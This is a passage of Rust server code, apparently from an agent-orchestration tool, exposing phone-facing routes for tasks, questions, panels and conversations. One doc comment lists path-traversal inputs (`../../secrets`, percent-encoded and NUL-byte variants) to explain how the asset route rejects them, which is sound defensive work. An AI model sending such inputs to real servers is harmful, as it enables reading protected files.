2603    Path(id): Path<String>,
2604    body: std::result::Result<Json<EditBody>, JsonRejection>,
2605) -> ApiResult<Json<TaskView>> {
2606    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2607    mutate(ui, id, move |t| {
2608        t.edit(body.title.clone(), body.instruction.clone())
2609    })
2610    .await
2611}
2612
2613/// `POST /api/queue/{id}/done` - close a task as finished without deleting
2614/// it, so the phone's other way to clear a task from the backlog does not
2615/// have to cost the run history, the attribution, and `created_at` the way
2616/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
2617/// can be marked done by hand, because this is for the run the loop never
2618/// saw land - a merge done by hand, or a gate that misreported - and that can
2619/// happen from any status the task was left in.
2620async fn queue_done(
2621    State(ui): State<Arc<Ui>>,
2622    Path(id): Path<String>,
2623) -> ApiResult<Json<TaskView>> {
2624    mutate(ui, id, |t| {
2625        t.succeed();
2626        Ok(())
2627    })
2628    .await
2629}
2630
2631/// `DELETE /api/queue/{id}`.
2632///
2633/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2634/// names this task: a `running` status or an orphaned `.lock` left behind by a
2635/// killed daemon is a leftover, and treating either as authority made the
2636/// task undeletable from the phone for good. The associated runs, if any, are
2637/// kept: a run is self-contained history and not an appendage of the task.
2638async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2639    blocking(move || {
2640        let id = resolve_task(&ui.queue, &id)?;
2641        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2642        ui.queue
2643            .remove(&id, in_flight)
2644            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2645        Ok(StatusCode::NO_CONTENT)
2646    })
2647    .await
2648}
2649
2650/// Read a task, change it, write it back, under the queue's own lock.
2651///
2652/// Taking the same claim a daemon takes is what makes hold, release,
2653/// priority, edit, and done safe to press while magi is running: without it
2654/// the daemon's next save would land on top of the operator's change and
2655/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
2656/// both do, for a running task - and that refusal becomes the 4xx the card
2657/// shows, same as any other domain rule.
2658async fn mutate(
2659    ui: Arc<Ui>,
2660    id: String,
2661    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2662) -> ApiResult<Json<TaskView>> {
2663    blocking(move || {
2664        let id = resolve_task(&ui.queue, &id)?;
2665        // `claim` fails when the lock file already exists, which is the
2666        // conflict the UI must report: the daemon owns that task's file for
2667        // as long as it is running it, and our write would be lost under its
2668        // next save. The message names the lock either way.
2669        let _claim = ui.queue.claim(&id).map_err(|e| {
2670            ApiError::conflict(format!(
2671                "{e:#} - a daemon is running this task, so it cannot be \
2672                 changed from here yet"
2673            ))
2674        })?;
2675        let mut task = ui.queue.get(&id)?;
2676        change(&mut task).map_err(ApiError::bad_request_from)?;
2677        ui.queue.put(&mut task)?;
2678        Ok(Json(TaskView::from(task)))
2679    })
2680    .await
2681}
2682
2683/// The change stream: one revision number per store, on connect and whenever
2684/// any of them moves.
2685///
2686/// The poll runs in one spawned task per client, which is affordable because
2687/// the work is a directory scan and a `stat` per file. It stops as soon as the
2688/// receiver is gone, so a phone that walks out of range costs nothing after
2689/// its next tick - there is no session and no cleanup to forget.
2690async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2691    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2692    tokio::spawn(async move {
2693        let mut ticker = tokio::time::interval(POLL);
2694        let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2695        loop {
2696            // The first tick completes immediately, which is what makes the
2697            // stream announce the current revisions on connect.
2698            ticker.tick().await;
2699            let state = Arc::clone(&ui);
2700            let revisions = tokio::task::spawn_blocking(move || {
2701                (
2702                    state.queue.revision(),
2703                    runs_revision(&state.runs),
2704                    state.questions.revision(),
2705                    state.talks.revision(),
2706                    // The loop's counter is in-process state rather than a
2707                    // file, so nothing the three stats above look at would
2708                    // tell this phone that another one started the loop.
2709                    state.lock_loop().rev,
2710                )
2711            })
2712            .await;
2713            let Ok(revisions) = revisions else { break };
2714            if last == Some(revisions) {
2715                continue;
2716            }
2717            last = Some(revisions);
2718            let payload = serde_json::json!({
2719                "queue_rev": revisions.0,
2720                "runs_rev": revisions.1,
2721                "questions_rev": revisions.2,
2722                "talks_rev": revisions.3,
2723                "loop_rev": revisions.4,
2724            });
2725            // Serializing five integers cannot fail; giving up beats looping.
2726            let Ok(event) = Event::default().event("change").json_data(payload) else {
2727                break;
2728            };
2729            if tx.send(event).await.is_err() {
2730                break;
2731            }
2732        }
2733    });
2734    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2735        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2736}
2737
2738/// Change detection token for recorded runs under `runs`.
2739///
2740/// Combines the id and `run.json` modification time of each run, so adding,
2741/// updating, or deleting any run — even an older one — moves the revision and
2742/// notifies connected clients via the change stream. Returns 0 when no runs
2743/// exist.
2744fn runs_revision(runs: &FsPath) -> u64 {
2745    use std::hash::{Hash as _, Hasher as _};
2746
2747    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2748        .into_iter()
2749        .flatten()
2750        .flatten()
2751        .filter_map(|e| {
2752            let path = e.path().join("run.json");
2753            let mtime = path
2754                .metadata()
2755                .ok()?
2756                .modified()
2757                .ok()?
2758                .duration_since(std::time::UNIX_EPOCH)
2759                .ok()?
2760                .as_millis() as u64;
2761            let id = e.file_name().to_string_lossy().into_owned();
2762            Some((id, mtime))
2763        })
2764        .collect();
2765
2766    if entries.is_empty() {
2767        return 0;
2768    }
2769
2770    entries.sort_unstable();
2771    let mut hasher = std::hash::DefaultHasher::new();
2772    for (id, mtime) in &entries {
2773        id.hash(&mut hasher);
2774        mtime.hash(&mut hasher);
2775    }
2776    let h = hasher.finish();
2777    if h == 0 { 1 } else { h }
2778}
2779
2780/// Run ids under `runs`, newest first.
2781///
2782/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2783/// which reads the process-global home: the server has to be drivable against
2784/// a temp directory for any of this to be testable.
2785fn run_ids(runs: &FsPath) -> Vec<String> {
2786    let mut ids: Vec<String> = std::fs::read_dir(runs)
2787        .into_iter()
2788        .flatten()
2789        .flatten()
2790        .filter(|e| e.path().join("run.json").is_file())
2791        .map(|e| e.file_name().to_string_lossy().into_owned())
2792        .collect();
2793    // Ids start with a sortable timestamp.
2794    ids.sort_unstable_by(|a, b| b.cmp(a));
2795    ids
2796}
2797
2798/// Read one run's state from an explicit runs root.
2799fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2800    let path = runs.join(id).join("run.json");
2801    let body =
2802        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2803    let state: RunState =
2804        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2805    if state.schema != run::SCHEMA {
2806        anyhow::bail!(
2807            "run {} was written by a different magi (schema {}, this build speaks {})",
2808            state.id,
2809            state.schema,
2810            run::SCHEMA
2811        );
2812    }
2813    Ok(state)
2814}
2815
2816/// Runs on disk under `runs` whose state this build cannot parse - almost
2817/// always a schema bump, occasionally a run killed mid-write.
2818///
2819/// Exposed so every surface that reports on runs shares one count instead of
2820/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2821/// `magi doctor` calls this directly rather than guessing at the same number
2822/// a second way.
2823#[must_use]
2824pub fn runs_unreadable(runs: &FsPath) -> usize {
2825    run_ids(runs)
2826        .into_iter()
2827        .filter(|id| read_run(runs, id).is_err())
2828        .count()
2829}
2830
2831/// Expand an id or short id to exactly one run id.
2832fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2833    if runs.join(id).join("run.json").is_file() {
2834        return Ok(id.to_owned());
2835    }
2836    pick(run_ids(runs), id, "run")
2837}
2838
2839/// Expand an id or short id to exactly one task id.
2840fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2841    if queue.path_of(id).is_file() {
2842        return Ok(id.to_owned());
2843    }
2844    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2845}
2846
2847/// A question as the phone reads it.
2848///
2849/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2850/// text already parsed into a node tree so the client never runs its own
2851/// markdown reader over agent-authored prose. A relative image path in it
2852/// resolves against this question's own panel asset route, which is the one
2853/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
2854/// separate, sandboxed document, but `detail` is rendered inline in the
2855/// operator's own page, so an image reference in it may only ever point at
2856/// files magi itself already serves for this question.
2857#[derive(Debug, Serialize)]
2858struct QuestionView {
2859    #[serde(flatten)]
2860    question: Question,
2861    detail_md: Vec<md::Node>,
2862    /// Is the ball in the agent's court right now?
2863    ///
2864    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
2865    /// [`Question::say`] - so this is the one field that tells the phone to
2866    /// disable the answer controls and show "waiting for the agent" instead of
2867    /// a card the owner can act on. Computed rather than stored on
2868    /// [`Question`] itself, on the same reasoning as `waiting` on
2869    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
2870    /// it here means the client never has to re-derive that rule.
2871    waiting_on_agent: bool,
2872}
2873
2874impl From<Question> for QuestionView {
2875    fn from(question: Question) -> Self {
2876        let base = md::ImageBase::QuestionPanel {
2877            id: question.id.clone(),
2878        };
2879        Self {
2880            detail_md: md::to_nodes(&question.detail, &base),
2881            waiting_on_agent: question.waiting_on_agent(),
2882            question,
2883        }
2884    }
2885}
2886
2887/// `GET /api/questions`.
2888///
2889/// Everything, not just the open ones: an answered question is the record of a
2890/// decision, and the phone is where the operator goes back to check what they
2891/// told an agent at 3am. `ask::Questions::list` already ranks open first.
2892async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2893    blocking(move || {
2894        Ok(Json(
2895            ui.questions
2896                .list()
2897                .into_iter()
2898                .map(QuestionView::from)
2899                .collect(),
2900        ))
2901    })
2902    .await
2903}
2904
2905/// The body of `POST /api/questions/{id}/answer`.
2906///
2907/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
2908/// a bad request rather than a guess: an answer magi invented is worse than a
2909/// question left open.
2910#[derive(Debug, Default, Deserialize)]
2911#[serde(default, deny_unknown_fields)]
2912struct NewAnswer {
2913    choice: Option<String>,
2914    text: Option<String>,
2915}
2916
2917async fn question_answer(
2918    State(ui): State<Arc<Ui>>,
2919    Path(id): Path<String>,
2920    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2921) -> ApiResult<Json<QuestionView>> {
2922    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2923    let answer = match (body.choice, body.text) {
2924        (Some(c), None) => Answer::Choice(c),
2925        (None, Some(t)) => Answer::Text(t),
2926        (Some(_), Some(_)) => {
2927            return Err(ApiError::bad_request(
2928                "send either `choice` or `text`, not both",
2929            ));
2930        }
2931        (None, None) => {
2932            return Err(ApiError::bad_request("send a `choice` or a `text`"));
2933        }
2934    };
2935
2936    blocking(move || {
2937        let id = resolve_question(&ui.questions, &id)?;
2938        let mut q = ui
2939            .questions
2940            .get(&id)
2941            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2942        if !q.status.open() {
2943            // Answered from the terminal, or by another phone, in between the
2944            // list and the tap. The UI shows the recorded answer rather than an
2945            // error, so it needs the record, not just the status.
2946            return Err(ApiError::conflict(format!(
2947                "question {} is already {}",
2948                q.short(),
2949                q.status.as_str()
2950            )));
2951        }
2952        // `Question::answer` owns the rules - an unoffered choice, free text on
2953        // a multiple-choice question, an empty reply - so the route does not
2954        // restate them and cannot drift from the CLI's behaviour.
2955        q.answer(answer).map_err(ApiError::bad_request_from)?;
2956        ui.questions.put(&mut q)?;
2957        Ok(Json(QuestionView::from(q)))
2958    })
2959    .await
2960}
2961
2962/// The body of `POST /api/questions/{id}/say`.
2963#[derive(Debug, Deserialize)]
2964#[serde(deny_unknown_fields)]
2965struct NewSay {
2966    body: String,
2967}
2968
2969/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
2970///
2971/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
2972/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
2973/// file, so there is no turn to serialize against and no
2974/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
2975/// is a *different* process - the run parked behind `magi ask` - and picks
2976/// the reply up on its own poll of the very same file, same as an answer
2977/// does.
2978async fn question_say(
2979    State(ui): State<Arc<Ui>>,
2980    Path(id): Path<String>,
2981    body: std::result::Result<Json<NewSay>, JsonRejection>,
2982) -> ApiResult<Json<QuestionView>> {
2983    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2984    blocking(move || {
2985        let id = resolve_question(&ui.questions, &id)?;
2986        let mut q = ui
2987            .questions
2988            .get(&id)
2989            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2990        if !q.status.open() {
2991            // Same granularity as `question_answer`: answered or abandoned in
2992            // between the list and the tap is not this route's error to
2993            // explain any differently.
2994            return Err(ApiError::conflict(format!(
2995                "question {} is already {}",
2996                q.short(),
2997                q.status.as_str()
2998            )));
2999        }
3000        // `Question::say` owns the one rule that matters here - an empty
3001        // message tells the agent nothing - so the route does not restate it.
3002        q.say(body.body).map_err(ApiError::bad_request_from)?;
3003        ui.questions.put(&mut q)?;
3004        Ok(Json(QuestionView::from(q)))
3005    })
3006    .await
3007}
3008
3009/// Expand an id or short id to exactly one question id.
3010fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3011    if store.path_of(id).is_file() {
3012        return Ok(id.to_owned());
3013    }
3014    pick(
3015        store.list().into_iter().map(|q| q.id).collect(),
3016        id,
3017        "question",
3018    )
3019}
3020
3021/// `GET /api/questions/{id}/panel`.
3022///
3023/// The panel an agent wrote for this question, as `text/html` under
3024/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
3025/// A question without one is a 404 rather than an empty page: the client
3026/// preflights this route with `HEAD` and must be able to tell "no panel" from
3027/// "a panel that rendered blank", and a sandboxed frame is opaque to the
3028/// parent document so it cannot tell the difference by looking.
3029///
3030/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
3031/// sanitises or minifies it - a sanitiser is a list of things someone thought
3032/// of, and the sandbox plus the CSP is a list of things that are allowed, which
3033/// is the direction that stays safe when an agent writes markup nobody
3034/// predicted.
3035async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3036    blocking(move || {
3037        let id = resolve_question(&ui.questions, &id)?;
3038        let Some(html) = ui.questions.panel_html(&id) else {
3039            return Err(ApiError::not_found(format!("question {id} has no panel")));
3040        };
3041        Ok(panel_response(
3042            "text/html; charset=utf-8",
3043            false,
3044            html.into_bytes(),
3045        ))
3046    })
3047    .await
3048}
3049
3050/// `GET /api/questions/{id}/asset/{name}`.
3051///
3052/// One file from the question's own panel directory, so a panel can show a
3053/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
3054/// having to allow anything off this machine.
3055///
3056/// This is the only route in the server where a client names a file, so it is
3057/// the only one with a traversal surface, and the name is checked by
3058/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
3059/// what is worth being explicit about, because the answer is not "all of it in
3060/// one place":
3061///
3062/// * `asset/../../secrets` never reaches this handler at all. axum matches on
3063///   the raw request path and `{name}` spans exactly one segment, so a real
3064///   slash makes the request too long for the route and the router answers 404.
3065/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
3066///   percent-decodes path parameters, so `name` arrives as `../secrets` and
3067///   `..\secrets` respectively, which look like plain filenames to the router.
3068///   The validator refuses them here - both for the literal `..` and because
3069///   `/` and `\` are not in the permitted character set - and answers 400.
3070/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
3071///   the platform's path API is not, and it is refused here for the same
3072///   reason: NUL is not a permitted character.
3073/// * [`Questions::panel_asset`] validates again on read, so the check is not
3074///   load-bearing in only one place. This route's own check exists so the
3075///   failure is a 400 that says which name was wrong, rather than a store error
3076///   the operator has to interpret.
3077async fn question_asset(
3078    State(ui): State<Arc<Ui>>,
3079    Path((id, name)): Path<(String, String)>,
3080) -> ApiResult<Response> {
3081    // Before any filesystem work and before any path is built: a name this
3082    // server will not serve should not become a `PathBuf` at all.
3083    if !crate::ask::valid_asset_name(&name) {
3084        return Err(ApiError::bad_request(format!(
3085            "`{name}` is not a usable asset name"
3086        )));
3087    }
3088    blocking(move || {
3089        let id = resolve_question(&ui.questions, &id)?;
3090        let asset = ui
3091            .questions
3092            .panel_asset(&id, &name)
3093            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3094        let Some(bytes) = asset else {
3095            return Err(ApiError::not_found(format!(
3096                "question {id} has no asset `{name}`"
3097            )));
3098        };
3099        Ok(panel_response(
3100            asset_content_type(&name),
3101            is_svg(&name),
3102            bytes,
3103        ))
3104    })
3105    .await
3106}
3107
3108/// Content type for a panel asset, from a closed whitelist.
3109///
3110/// A whitelist with an `application/octet-stream` fallback rather than a
3111/// guess, because the one answer that must never come out of here is
3112/// `text/html`. An agent that writes `notes.html` into its panel directory and
3113/// links it would otherwise get its own markup rendered at the top level of the
3114/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
3115/// magi's origin - which is precisely the thing the panel design exists to
3116/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
3117///
3118/// `nosniff` accompanies this on every response, so a browser cannot decide it
3119/// knows better than the type we sent.
3120fn asset_content_type(name: &str) -> &'static str {
3121    match extension(name).as_deref() {
3122        Some("png") => "image/png",
3123        Some("jpg" | "jpeg") => "image/jpeg",
3124        Some("gif") => "image/gif",
3125        Some("webp") => "image/webp",
3126        Some("svg") => "image/svg+xml",
3127        Some("css") => "text/css; charset=utf-8",
3128        Some("txt") => "text/plain; charset=utf-8",
3129        _ => "application/octet-stream",
3130    }
3131}
3132
3133/// Is this an SVG, and therefore a file that must never be opened at the top
3134/// level?
3135fn is_svg(name: &str) -> bool {
3136    extension(name).as_deref() == Some("svg")
3137}
3138
3139/// Lowercased extension, or `None` for a name without one.
3140fn extension(name: &str) -> Option<String> {
3141    name.rsplit_once('.')
3142        .map(|(_, ext)| ext.to_ascii_lowercase())
3143}
3144
3145/// Every panel response, with the four headers that make it safe and, for an
3146/// SVG, a fifth.
3147///
3148/// One function rather than a header list per handler, because a panel route
3149/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
3150/// model gone, silently, on one of two routes. Adding a third panel route later
3151/// means calling this, and there is nowhere else to build a panel response.
3152///
3153/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
3154/// as an `<img src>` inside the panel that script cannot run - but the asset
3155/// URL is also a plain URL an operator can be talked into opening in a tab,
3156/// where it is a document on magi's own origin. `Content-Disposition:
3157/// attachment` makes the browser download it instead of rendering it, which
3158/// closes that door without taking away the ability to draw a diff. Raster
3159/// images have no such execution surface and are left inline, so tapping a
3160/// screenshot still shows it.
3161fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3162    let mut res = (
3163        [
3164            (header::CONTENT_TYPE, content_type),
3165            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3166            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3167            (header::REFERRER_POLICY, "no-referrer"),
3168        ],
3169        body,
3170    )
3171        .into_response();
3172    if download {
3173        res.headers_mut().insert(
3174            header::CONTENT_DISPOSITION,
3175            HeaderValue::from_static("attachment"),
3176        );
3177    }
3178    res
3179}
3180
3181/// A talk as the phone reads it.
3182///
3183/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3184/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
3185/// parses markdown itself - and the process-local `thinking` hint.
3186#[derive(Debug, Serialize)]
3187struct TalkView {
3188    #[serde(flatten)]
3189    talk: Talk,
3190    turn_bodies_md: Vec<Vec<md::Node>>,
3191    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
3192    /// this server process.
3193    ///
3194    /// This is deliberately not durable: another server process cannot see
3195    /// it, and a restarted server must not claim an old turn is live. It is a
3196    /// progress hint rather than proof a reply landed; the transcript remains
3197    /// the source of truth for that.
3198    thinking: bool,
3199}
3200
3201impl TalkView {
3202    fn new(talk: Talk, thinking: bool) -> Self {
3203        let turn_bodies_md = talk
3204            .turns
3205            .iter()
3206            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3207            .collect();
3208        Self {
3209            turn_bodies_md,
3210            thinking,
3211            talk,
3212        }
3213    }
3214}
3215
3216/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
3217/// conversation has filed, so the phone can follow one from inside the
3218/// conversation that asked for it rather than hunting the Queue for a task id
3219/// it may not remember.
3220#[derive(Debug, Serialize)]
3221struct TalkDetailView {
3222    #[serde(flatten)]
3223    view: TalkView,
3224    tasks: Vec<TaskView>,
3225}
3226
3227/// `GET /api/talks`.
3228///
3229/// Every conversation, open ones first and newest first - [`Talks::list`]'s
3230/// own order.
3231async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3232    blocking(move || {
3233        Ok(Json(
3234            ui.talks
3235                .list()
3236                .into_iter()
3237                .map(|talk| {
3238                    let thinking = ui.is_thinking(&talk.id);
3239                    TalkView::new(talk, thinking)
3240                })
3241                .collect(),
3242        ))
3243    })
3244    .await
3245}
3246
3247/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3248/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
3249/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
3250/// end still opens a talk against an older binary.
3251#[derive(Debug, Default, Deserialize)]
3252#[serde(default)]
3253struct NewTalk {
3254    agent: Option<String>,
3255    repo: Option<PathBuf>,
3256}
3257
3258/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3259/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3260async fn talk_post(
3261    State(ui): State<Arc<Ui>>,
3262    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3263) -> ApiResult<impl IntoResponse> {
3264    // An absent body, or an empty one, is the normal way to open a talk - see
3265    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3266    // rather than refused.
3267    let body = match body {
3268        Ok(Json(body)) => body,
3269        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3270        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3271    };
3272    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3273    let cfg = config_for(&repo).await?;
3274    let view = blocking(move || {
3275        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3276        let thinking = ui.is_thinking(&talk.id);
3277        Ok(TalkView::new(talk, thinking))
3278    })
3279    .await?;
3280    Ok((StatusCode::CREATED, Json(view)))
3281}
3282
3283/// `GET /api/talks/{id}`.
3284async fn talk_detail(
3285    State(ui): State<Arc<Ui>>,
3286    Path(id): Path<String>,
3287) -> ApiResult<Json<TalkDetailView>> {
3288    blocking(move || {
3289        let id = resolve_talk(&ui.talks, &id)?;
3290        let talk = ui.talks.get(&id)?;
3291        let thinking = ui.is_thinking(&talk.id);
3292        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3293            .into_iter()
3294            .map(TaskView::from)
3295            .collect();
3296        Ok(Json(TalkDetailView {
3297            view: TalkView::new(talk, thinking),
3298            tasks,
3299        }))
3300    })
3301    .await
3302}
3303
3304/// The body of `POST /api/talks/{id}/say`.
3305///
3306/// `attachments` names ids `POST /api/talks/{id}/attachments` already
3307/// returned - never bytes of its own - so a turn with no images just omits
3308/// the field, which is what an older front end still does.
3309#[derive(Debug, Default, Deserialize)]
3310#[serde(default, deny_unknown_fields)]
3311struct NewTalkTurn {
3312    text: String,
3313    attachments: Vec<String>,
3314}
3315
3316#[derive(Debug, Deserialize)]
3317#[serde(deny_unknown_fields)]
3318struct EditTalkPending {
3319    text: String,
3320    expected_text: String,
3321    expected_attachments: Vec<String>,
3322}
3323
3324#[derive(Debug, Deserialize)]
3325#[serde(deny_unknown_fields)]
3326struct ClearTalkPending {
3327    expected_text: String,
3328    expected_attachments: Vec<String>,
3329}
3330
3331/// `POST /api/talks/{id}/say` - one turn of the conversation.
3332///
3333/// Not filesystem work, and therefore not routed through [`blocking`]: this
3334/// route spawns an agent CLI and a turn here can run for the whole of
3335/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
3336/// research turn is expected to run commands rather than answer from what it
3337/// already knows. Holding an HTTP connection open that long is not a thing
3338/// to ask a phone to do; the operator's message is recorded and answered for
3339/// immediately, and the reply lands in the background, discovered through
3340/// the change stream's `talks_rev` the same way every other update on this
3341/// surface is.
3342async fn talk_say(
3343    State(ui): State<Arc<Ui>>,
3344    Path(id): Path<String>,
3345    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3346) -> ApiResult<(StatusCode, Json<TalkView>)> {
3347    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3348    if body.text.trim().is_empty() && body.attachments.is_empty() {
3349        return Err(ApiError::bad_request("say something"));
3350    }
3351
3352    let id = {
3353        let ui = Arc::clone(&ui);
3354        let asked = id.clone();
3355        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3356    };
3357    // A closed Talk never accepts a new immediate or queued turn. Check this
3358    // before claiming a slot so its ordinary domain refusal is a 409, not an
3359    // incidental failure from the later record/queue write.
3360    {
3361        let ui = Arc::clone(&ui);
3362        let id = id.clone();
3363        blocking(move || {
3364            let talk = ui.talks.get(&id)?;
3365            if !talk.status.open() {
3366                return Err(ApiError::conflict(format!(
3367                    "talk {} is {} and takes no more turns",
3368                    talk.short(),
3369                    talk.status.as_str()
3370                )));
3371            }
3372            Ok(())
3373        })
3374        .await?;
3375    }
3376
3377    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
3378    // actually stores, before anything is written - an unknown id is a 4xx
3379    // that names it rather than a turn (or a queued draft) silently missing
3380    // an image.
3381    let attachments = {
3382        let ui = Arc::clone(&ui);
3383        let id = id.clone();
3384        let ids = body.attachments.clone();
3385        blocking(move || {
3386            ids.into_iter()
3387                .map(|att_id| {
3388                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3389                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3390                    })
3391                })
3392                .collect::<ApiResult<Vec<talk::Attachment>>>()
3393        })
3394        .await?
3395    };
3396
3397    // Pending recovery and a new immediate turn are decided under the same
3398    // claim lock. Without that one critical section, a second `/say` can see
3399    // the first request's claim as "busy" and append itself to the recovered
3400    // draft before the first request rejects it.
3401    let start = {
3402        let ui = Arc::clone(&ui);
3403        let id = id.clone();
3404        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3405    };
3406    let turn_guard = match start {
3407        TalkTurnStart::Claimed(turn_guard) => turn_guard,
3408        TalkTurnStart::Pending => {
3409            return Err(ApiError::conflict(
3410                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3411            ));
3412        }
3413        TalkTurnStart::Busy => {
3414            // A turn is already running: queue rather than refuse. See
3415            // `Ui::begin_talk_turn` and `talk::queue`.
3416            let (view, reclaimed) = {
3417                let ui = Arc::clone(&ui);
3418                let id = id.clone();
3419                let said = body.text.clone();
3420                blocking(move || {
3421                    let mut talk = ui.talks.get(&id)?;
3422                    if let Err(error) = talk::queue(&mut talk, &ui.talks, &said, attachments) {
3423                        if let Ok(fresh) = ui.talks.get(&id) {
3424                            if !fresh.status.open() {
3425                                return Err(ApiError::conflict(format!(
3426                                    "talk {} is {} and takes no more turns",
3427                                    fresh.short(),
3428                                    fresh.status.as_str()
3429                                )));
3430                            }
3431                        }
3432                        return Err(ApiError::from(error));
3433                    }
3434                    // The turn that looked busy a moment ago can have finished,
3435                    // found nothing to drain and given up the slot in the gap
3436                    // between that check and this write landing - see
3437                    // `drain_loop`'s own doc for the other half of why that gap
3438                    // would otherwise be able to open at all. Reclaiming the
3439                    // slot here, rather than trusting that whoever held it is
3440                    // still watching, is what stops the text just queued from
3441                    // being stranded until an unrelated future `say` happens to
3442                    // drain it.
3443                    let claim = match ui.begin_queued_talk_turn(&id)? {
3444                        Some(turn_guard) => {
3445                            let (cfg, _) = Config::discover(&talk.repo, None)?;
3446                            Some((talk.clone(), cfg, turn_guard))
3447                        }
3448                        None => None,
3449                    };
3450                    let thinking = ui.is_thinking(&id);
3451                    Ok((TalkView::new(talk, thinking), claim))
3452                })
3453                .await?
3454            };
3455            if let Some((talk, cfg, turn_guard)) = reclaimed {
3456                let talks = ui.talks.clone();
3457                tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3458            }
3459            return Ok((StatusCode::ACCEPTED, Json(view)));
3460        }
3461    };
3462
3463    let (talk, cfg) = {
3464        let ui = Arc::clone(&ui);
3465        let id = id.clone();
3466        blocking(move || {
3467            let talk = ui.talks.get(&id)?;
3468            let (cfg, _) = Config::discover(&talk.repo, None)?;
3469            Ok((talk, cfg))
3470        })
3471        .await?
3472    };
3473
3474    let talks = ui.talks.clone();
3475    let text = {
3476        let mut talk = talk.clone();
3477        let talks = talks.clone();
3478        let said = body.text.clone();
3479        blocking(move || {
3480            if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3481                if let Ok(fresh) = talks.get(&talk.id) {
3482                    if !fresh.status.open() {
3483                        return Err(ApiError::conflict(format!(
3484                            "talk {} is {} and takes no more turns",
3485                            fresh.short(),
3486                            fresh.status.as_str()
3487                        )));
3488                    }
3489                }
3490                return Err(ApiError::from(error));
3491            }
3492            Ok(said.trim().to_owned())
3493        })
